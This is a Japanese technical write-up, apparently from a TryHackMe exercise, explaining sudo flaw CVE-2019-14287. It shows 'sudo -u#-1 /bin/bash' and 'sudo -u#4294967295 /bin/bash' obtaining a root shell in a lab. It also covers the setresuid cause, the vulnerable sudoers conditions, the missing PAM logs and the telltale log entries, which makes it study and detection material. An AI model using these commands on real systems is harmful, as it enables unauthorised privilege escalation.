背景
TryHackMeのルームを解く過程でこの脆弱性を悪用する機会があったので自分なりに深堀してみます。
記事に誤りがある場合はコメントなどで指摘して下さい。
許可された環境でのみ実行してください。
脆弱性の概要
本脆弱性は、sudo コマンド実行時に引数指定で渡せるユーザ ID の検証が 十分ではないことが理由であり、悪用されると、sudoers で root で実行不可として権限を設定 しているにも関わらず、root 権限でコマンドが実行できてしまう可能性があります。
CVE番号はCVE-2019-14287
になります。
影響を受けるバージョン
本脆弱性の影響を受けるのはsudo 1.8.28
より前のバージョンです。
脆弱性を悪用した権限昇格
環境
- AlamaLinux 8.9
- sudo 1.8.27
前提として、一般ユーザーのシェルを取得できている状態です。
一般ユーザーアカウント、user
としてログイン中です。
sudo 1.8.27
を使用しています。
[user@localhost sudo-1.8.27]$ sudo -V
Sudo バージョン 1.8.27
root
以外のユーザーで全てのコマンドを実行できるようになっています。
[user@localhost sudo-1.8.27]$ sudo -l
ユーザー user は localhost 上で コマンドを実行できます
(ALL, !root) ALL
もちろん特権ユーザー権限でコマンドを実行することはできません。
$ sudo -u#0 id
パスワード:
残念ですが、ユーザー user は'/usr/bin/id' を root として localhost.localdomain 上で実行することは許可されていません。
しかし、-u#-1
か-u#4294967295
を指定すると特権ユーザー権限で任意のコマンドを実行できます。
[user@localhost ~]$ sudo -u#-1 /bin/bash
bash-4.4# whoami
root
[user@localhost sudo-1.8.27]$ sudo -u#4294967295 /bin/bash
bash-4.4# whoami
root
root
のシェルを取得できました。
詳細情報
悪用される条件
/etc/sudoers
の(<run_as_user>:<run_as_group>)
部分でALL
を指定している場合に脆弱です。
<username> <hostname.example.com>=(<run_as_user>:<run_as_group>) <path/to/command>
なので下記のように設定した場合は成立しません。
user ALL = (!root) ALL
$ sudo -u#-1 id
パスワード:
残念ですが、ユーザー user は'/usr/bin/id' を #-1 として localhost.localdomain 上で実行することは許可されていません。
UIDの指定について
sudo
コマンドではsudo -u#<uid> <command>
と指定することで、指定したユーザーIDの権限でコマンドを実行できます。
$ sudo -u#1234 id
uid=1234 gid=1001(user) groups=1001(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
-1
や4294967295
を指定した場合の動作はドキュメントに書いてあります。
the setresuid(2) and setreuid(2) system calls, which sudo uses to change the user ID before running the command, treat user ID -1 (or its unsigned equivalent 4294967295), specially and do not change the user ID for this value
sudoがコマンドを実行する前にユーザーIDを変更するために使用するsetresuid(2)およびsetreuid(2)システムコールは、ユーザーID -1(またはそれに相当する符号なしの4294967295)を特別に扱い、この値に対してユーザーIDを変更しません。
sudo
を使用するとコマンド実行前にuid
を変更する処理としてsetresuid()
とsetreuid()
というシステムコールを呼び出します。
このシステムコールに引数として-1
やunsigned int
型(符号なし整数)で-1
になる429496729
を渡した場合、IDは変更されません。
実ユーザー ID や実効ユーザー ID に -1 を与えた場合、 システムはその ID を変更しない。
引き数のどれかが -1 の場合はその値は変更されずに残される。
setuid系のシステムコールはuid_t
型でUIDを受け取ります。なので-1
は4294967295
として処理されます。
int setreuid(uid_t ruid, uid_t euid);
int setresuid(uid_t ruid, uid_t euid, uid_t suid);
sudoにはSUIDビット
が付与されているので,sudoそのものはrootとして実行されます。
[root@localhost sudo-1.8.27]# ls -l /usr/local/bin/sudo
-rwsr-xr-x. 1 root root 586264 6月 10 11:34 /usr/local/bin/sudo
そのため、コマンドがroot権限で実行されます。
PAMモジュールについて
Additionally, because the user ID specified via the -u option does not exist in the password database, no PAM session modules will be run.
さらに、-u オプションで指定されたユーザー ID はパスワード データベースに存在しないため、PAM セッション モジュールは実行されません。
PAMとは簡単に言うと、Linuxでのユーザー認証の仕組みです。
PAMとは「Pluggable Authenticaton Modules」の頭文字を取ったものです。 「Authentication」すなわちユーザ認証に用いられているシステムです。
標準の状態では、PAMは/etc/passwd(また、これを暗号化した/etc/shadow など)の情報を元に認証を行います。
sudo
でPAM認証が通った場合、通常はPAMセッションのログがpam_unix(sudo:session): session opened
,pam_unix(sudo:session): session closed
のように記録される。
Dec 25 16:22:55 localhost sudo[17588]: pam_unix(sudo:session): session opened for user root by (uid=0)
Dec 25 16:22:56 localhost sudo[17588]: pam_unix(sudo:session): session closed for user root
が、今回の脆弱性ではPAMの認証をバイパスするのでセッションログは残らない。
ログの出力について
sudo
の実行に関するコマンドのログは/var/log/secure
で見ることができます。
通常、sudo
を実行するとログにはUSER=<username> or #<uid>
のように出力されます。
Jun 10 22:42:30 localhost sudo[49507]: user : TTY=pts/0 ; PWD=/root/sudo-1.8.27 ; USER=user ; COMMAND=/usr/bin/id
Jun 10 23:30:44 localhost sudo[50547]: user : TTY=pts/0 ; PWD=/root/sudo-1.8.27 ; USER=#1234 ; COMMAND=/usr/bin/id
しかし、今回の脆弱性の場合、-1
および4294967295
がログに出力されていると分かります。
Jun 10 23:17:58 localhost sudo[50228]: user : TTY=pts/0 ; PWD=/root/sudo-1.8.27 ; USER=#-1 ; COMMAND=/usr/bin/whoami
Jun 10 23:18:10 localhost sudo[50243]: user : TTY=pts/0 ; PWD=/root/sudo-1.8.27 ; USER=#4294967295 ; COMMAND=/usr/bin/id
参考サイト